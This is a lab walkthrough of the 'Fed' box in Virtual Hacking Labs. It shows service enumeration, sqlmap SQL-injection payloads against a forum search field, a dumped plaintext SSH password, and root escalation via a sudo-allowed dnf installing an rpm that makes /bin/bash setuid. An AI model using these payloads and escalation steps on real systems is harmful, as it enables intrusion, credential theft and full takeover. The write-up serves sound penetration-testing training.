Fed — VHL (10.11.1.68)

sudo rustscan -a 10.11.1.68 -- -A -sC

#virtual hacking labs#vhl#walkthrough#boxes#os:linux#tech:sqli#tech:xss#tech:suid

Fed — VHL (10.11.1.68)

#Foothold with sqlmap sqlmap -r FILENAME -dbs --level=5 --risk=3 --batch #Privesc with vulnerable binary /usr/bin/dnf https://gtfobins.github.io/gtfobins/dnf/

Information Gathering

🐺 howlsec@kalishell

$#Port Enumeration
$sudo rustscan -a 10.11.1.68 -- -A -sC
$ 
$22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 8.8 (protocol 2.0)
$| ssh-hostkey: 
$|   256 eb:59:13:ff:ca:a5:19:b7:be:3d:53:b9:7e:05:79:57 (ECDSA)
$| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGP3yTBFvAa7ncPxkApLQGdXJXB+adoBXA8jpY8epCm8HYo9nA6nlhhfiSbKXmT3qxH209P30fEsrB/NZnJg0f8=
$|   256 27:79:88:ab:06:f6:4d:c7:2b:65:a9:10:89:eb:a4:0a (ED25519)
$|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ1bBk7auEbaRfJRoOv43/qT6li0xDxKu0WNOOu56BoD
$ 
$80/tcp   open  http     syn-ack ttl 63 Apache httpd 2.4.54 ((Fedora Linux))
$| http-cookie-flags: 
$|   /: 
$|     PHPSESSID: 
$|_      httponly flag not set
$| http-methods: 
$|_  Supported Methods: GET HEAD POST OPTIONS
$| http-title: Fed Forum
$|_Requested resource was forum.php
$|_http-server-header: Apache/2.4.54 (Fedora Linux)
$ 
$3306/tcp open  mysql    syn-ack ttl 63 MariaDB 10.3.23 or earlier (unauthorized)
$ 
$9090/tcp open  ssl/http syn-ack ttl 63 Cockpit web service 273 - 281
$| http-methods: 
$|_  Supported Methods: GET HEAD
$|_http-title: Loading...
$|_http-favicon: Unknown favicon MD5: BEDCF1ADD08265CCCE4F9B2D8669D29A
$|_ssl-date: TLS randomness does not represent time
$| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=bb8ca7e9a1e14749b520841fc6f3cbee
$| Subject Alternative Name: IP Address:127.0.0.1, DNS:localhost
$| Issuer: commonName=localhost.localdomain/organizationName=bb8ca7e9a1e14749b520841fc6f3cbee
$| Public Key type: rsa
$| Public Key bits: 2048
$| Signature Algorithm: sha256WithRSAEncryption
$| Not valid before: 2025-09-30T23:05:07
$| Not valid after:  2026-10-30T23:05:07
$| MD5:   7ca0:2efc:fd4d:4edc:7fc4:f0b4:91ce:6767
$| SHA-1: c1e4:e804:03e8:8dd4:782a:f2a7:3e86:ac86:14a2:cee8

Web (80) {toggle="true"}

🐺 howlsec@kalicode

01```shell

#nikto nikto -h http://10.11.1.68

Nikto v2.5.0

Target IP: 10.11.1.68
Target Hostname: 10.11.1.68
Target Port: 80
Start Time: 2025-09-30 19:09:51 (GMT-4)

Server: Apache/2.4.54 (Fedora Linux)
/: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
/: Retrieved x-powered-by header: PHP/7.4.33.
/: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
Root page / redirects to: forum.php
/: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
/public/: This might be interesting.
/icons/: Directory indexing found.
/icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
ERROR: Error limit (20) reached for host, giving up. Last error:
Scan terminated: 0 error(s) and 8 item(s) reported on remote host
End Time: 2025-09-30 19:13:04 (GMT-4) (193 seconds) #Whatweb whatweb http://10.11.1.68
http://10.11.1.68 [302 Found] Apache[2.4.54], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Fedora Linux][Apache/2.4.54 (Fedora Linux)], IP[10.11.1.68], PHP[7.4.33], RedirectLocation[forum.php], X-Powered-By[PHP/7.4.33], X-XSS-Protection[0] http://10.11.1.68/forum.php [200 OK] Apache[2.4.54], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Fedora Linux][Apache/2.4.54 (Fedora Linux)], IP[10.11.1.68], JQuery, Open-Graph-Protocol, PHP[7.4.33], PasswordField[password], PoweredBy[LayerBB], Script[text/javascript], Title[Fed Forum], X-Powered-By[PHP/7.4.33], X-UA-Compatible[IE=edge], X-XSS-Protection[0]
🐺 howlsec@kalicode
```
01```shell
```

#Ferox feroxbuster -u http://10.11.1.68 -x htm php html js txt zip bak asp aspx xml py -r -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 5

🐺 howlsec@kalicode

01```

Web (9090) {toggle="true"}

🐺 howlsec@kalicode

01```shell

#Nikto nikto -h http://10.11.1.68:9090

Nikto v2.5.0

Target IP: 10.11.1.68
Target Hostname: 10.11.1.68
Target Port: 9090
Start Time: 2025-09-30 19:14:58 (GMT-4)

Server: No banner retrieved
/: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
Root page / redirects to: https://10.11.1.68/
No CGI Directories found (use '-C all' to force check all possible dirs) #Whatweb whatweb http://10.11.1.68:9090 http://10.11.1.68:9090 [301 Moved Permanently] Country[RESERVED][ZZ], IP[10.11.1.68], RedirectLocation[https://10.11.1.68:9090/], Title[Moved] https://10.11.1.68:9090/ [200 OK] Cookies[cockpit], Country[RESERVED][ZZ], HTML5, HttpOnly[cockpit], IP[10.11.1.68], PasswordField, Script[text/javascript], Title[Loading...], UncommonHeaders[content-security-policy,x-dns-prefetch-control,referrer-policy,x-content-type-options,cross-origin-resource-policy], X-Frame-Options[sameorigin] undefined

Initial Foothold

🐺 howlsec@kalishell

$#Found sql injection with SQLMAP
$sqlmap -u "http://10.11.1.68/forum.php" --crawl=2 --forms --batch --level=3 --risk=2
$POST parameter 'search_query' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
$sqlmap identified the following injection point(s) with a total of 120 HTTP(s) requests:
$---
$Parameter: search_query (POST)
$    Type: boolean-based blind
$    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
$    Payload: search_query=hDhS') AND 8232=(SELECT (CASE WHEN (8232=8232) THEN 8232 ELSE (SELECT 8233 UNION SELECT 6580) END))-- -&search_submit=Search
$ 
$    Type: error-based
$    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
$    Payload: search_query=-7191') OR 1 GROUP BY CONCAT(0x71707a7671,(SELECT (CASE WHEN (5230=5230) THEN 1 ELSE 0 END)),0x71786a7071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&search_submit=Search
$ 
$    Type: time-based blind
$    Title: MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)
$    Payload: search_query=hDhS') OR SLEEP(5)#&search_submit=Search
$ 
$    Type: UNION query
$    Title: Generic UNION query (NULL) - 16 columns
$    Payload: search_query=hDhS') UNION ALL SELECT CONCAT(0x71707a7671,0x676854636c594576556c5a6e6c4a4d574759494f746564664d4c536370446b72424a486c4e716752,0x71786a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&search_submit=Search
$---
$do you want to exploit this SQL injection? [Y/n] Y
$[21:33:54] [INFO] the back-end DBMS is MySQL
$web server operating system: Linux Fedora
$web application technology: PHP 7.4.33, PHP, Apache 2.4.54
$back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
$SQL injection vulnerability has already been detected against '10.11.1.68'. Do you want to skip further tests involving it? [Y/n] Y
$[21:33:54] [INFO] skipping 'http://10.11.1.68/members.php/cmd/register'
$[21:33:54] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kali/.local/share/sqlmap/output/results-10012025_0922pm.csv' 
$#Checked for DBs
$sqlmap -r FILENAME -dbs --level=5 --risk=3 --batch
$        ___
$       __H__
$ ___ ___[)]_____ ___ ___  {1.9.6#stable}
$|_ -| . ["]     | .'| . |
$|___|_  [(]_|_|_|__,|  _|
$      |_|V...       |_|   https://sqlmap.org
$ 
$[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
$ 
$[*] starting @ 00:51:27 /2025-10-02/
$ 
$[00:51:27] [INFO] parsing HTTP request from 'FILENAME'
$[00:51:27] [INFO] resuming back-end DBMS 'mysql' 
$[00:51:27] [INFO] testing connection to the target URL
$you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ckhmpf0vlds...fkrnnmi9oh'). Do you want to use those [Y/n] Y
$sqlmap resumed the following injection point(s) from stored session:
$---
$Parameter: search_query (POST)
$    Type: boolean-based blind
$    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
$    Payload: search_query=hDhS') AND 8232=(SELECT (CASE WHEN (8232=8232) THEN 8232 ELSE (SELECT 8233 UNION SELECT 6580) END))-- -&search_submit=Search
$ 
$    Type: error-based
$    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
$    Payload: search_query=-7191') OR 1 GROUP BY CONCAT(0x71707a7671,(SELECT (CASE WHEN (5230=5230) THEN 1 ELSE 0 END)),0x71786a7071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&search_submit=Search
$ 
$    Type: time-based blind
$    Title: MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)
$    Payload: search_query=hDhS') OR SLEEP(5)#&search_submit=Search
$ 
$    Type: UNION query
$    Title: Generic UNION query (NULL) - 16 columns
$    Payload: search_query=hDhS') UNION ALL SELECT CONCAT(0x71707a7671,0x676854636c594576556c5a6e6c4a4d574759494f746564664d4c536370446b72424a486c4e716752,0x71786a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&search_submit=Search
$---
$[00:51:27] [INFO] the back-end DBMS is MySQL
$web server operating system: Linux Fedora
$web application technology: PHP 7.4.33, PHP, Apache 2.4.54
$back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
$[00:51:27] [INFO] fetching database names
$available databases [5]:
$[*] information_schema
$[*] layerbb
$[*] mysql
$[*] performance_schema
$[*] ssh
$#Enumerated tables from ssh DB
$sqlmap -r FILENAME -D DB_Name --tables
$00:52:30] [INFO] fetching tables for database: 'ssh'
$Database: ssh
$[1 table]
$+-----------+
$| ssh_users |
$+-----------+
$#Dumped data from ssh_users table and got credentials
$sqlmap -r FILENAME -D ssh -T ssh_users --dump
$Database: ssh
$Table: ssh_users
$[1 entry]
$+----+-------------------+----------+
$| ID | password          | username |
$+----+-------------------+----------+
$| 1  | FEder1K01!@ssw0rd | Federik  |

(screenshot omitted)

Privesc

🐺 howlsec@kalishell

$#ssh to Federik : FEder1K01!@ssw0rd
$ssh federik@10.11.1.68
$federik@10.11.1.68's password: 
$[federik@localhost ~]$

(screenshot omitted)

🐺 howlsec@kalishell

$#Linpeas showd vulnerable dnf binary and vulnerable PATH
$╔══════════╣ PATH
$╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-path-abuses  
$/home/federik/.local/bin:/home/federik/bin:/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin
$ 
$User federik may run the following commands on localhost:
$    (root) NOPASSWD: /usr/bin/dnf

(screenshot omitted)

🐺 howlsec@kalishell

$#privesc with rpm package install /usr/bin/dnf https://gtfobins.github.io/gtfobins/dnf/
$TF=$(mktemp -d)
$echo 'chmod u+s /bin/bash' > $TF/x.sh
$fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
$sudo dnf --disablerepo=* install -y x-1.0-1.noarch.rpm
$[federik@localhost ~]$ /bin/bash -p                                                                                                        
$bash-5.1# id                                                                                                                               
$uid=1000(federik) gid=1000(federik) euid=0(root) groups=1000(federik)                                                                      
$bash-5.1# cd /root
$bash-5.1# cat key.txt                                                                                                                      
$b3g7bnca98utgbk2dy9c                                                                                                                       
$bash-5.1#

(screenshot omitted)